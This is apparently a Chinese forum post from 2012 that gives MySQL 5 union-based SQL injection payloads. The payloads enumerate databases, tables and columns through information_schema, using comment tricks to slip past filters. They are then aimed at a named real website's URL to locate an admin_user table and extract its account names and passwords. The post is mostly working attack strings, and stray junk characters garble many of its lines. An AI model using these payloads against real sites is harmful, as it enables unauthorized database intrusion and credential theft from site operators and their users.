查库8 T% M" q3 O, `6 P8 q
( k+ k3 x; r2 h
id=-1 union select 1,..,SCHEMA_NAME,n from/**/information_schema.SCHEMATA limit 1,1/*0 H! Z7 {0 ^( Y/ V+ ?, x
8 C# a: e- E0 r8 t1 ~查表
: \8 u' Q2 K' e( R5 ~$ @: c: B5 V* \/ _) X9 f; W5 n
id=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,18 d( B: J M/ |8 a; ]- ~
( m' q6 L' L2 C: t5 h& T查段
$ ~9 L* U1 D. n9 r3 t3 O: T& W' _& V' G7 G3 S. v
id=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,10 e# r4 Q G! V6 a; b
9 _; f4 b+ O; p* }! Q! M5 ]
/ L" N/ I& T$ O0 @! R
mysql5高级注入方法暴表3 \: z8 E4 w* d G9 Z) I
% F- l. m$ o5 x- w8 L- ~# Q3 M
例子如下:, o& P2 T8 o2 U4 o
) Z- c# W% o B, [6 W' I1.爆表
! Z- P2 x+ R& w; @! A& X, Hhttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/* (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
$ g, P$ U( R2 ]! r3 a这样爆到第4个时出现了admin_user表。8 @. R e3 z# U# j
) i% V+ u6 t, L* |- x. `5 T, o5 E2.暴字段- Q% V ~+ c. _0 [! \' M" f+ n) |
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*
/ _8 S, P( ^% B2 L* j+ l! ?2 m3 S
+ H4 m; u& t% t6 c4 _5 z2 m' A3.爆密码" t3 ~6 K" e# M0 e2 L3 W
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/* 0 S" }7 l) R2 M- S; b2 S' a
3 G4 R1 H+ j3 u( u' j
/ ]; Z1 _+ }. m9 L
|
发表于 2012-9-13 16:29:37
收藏
支持
反对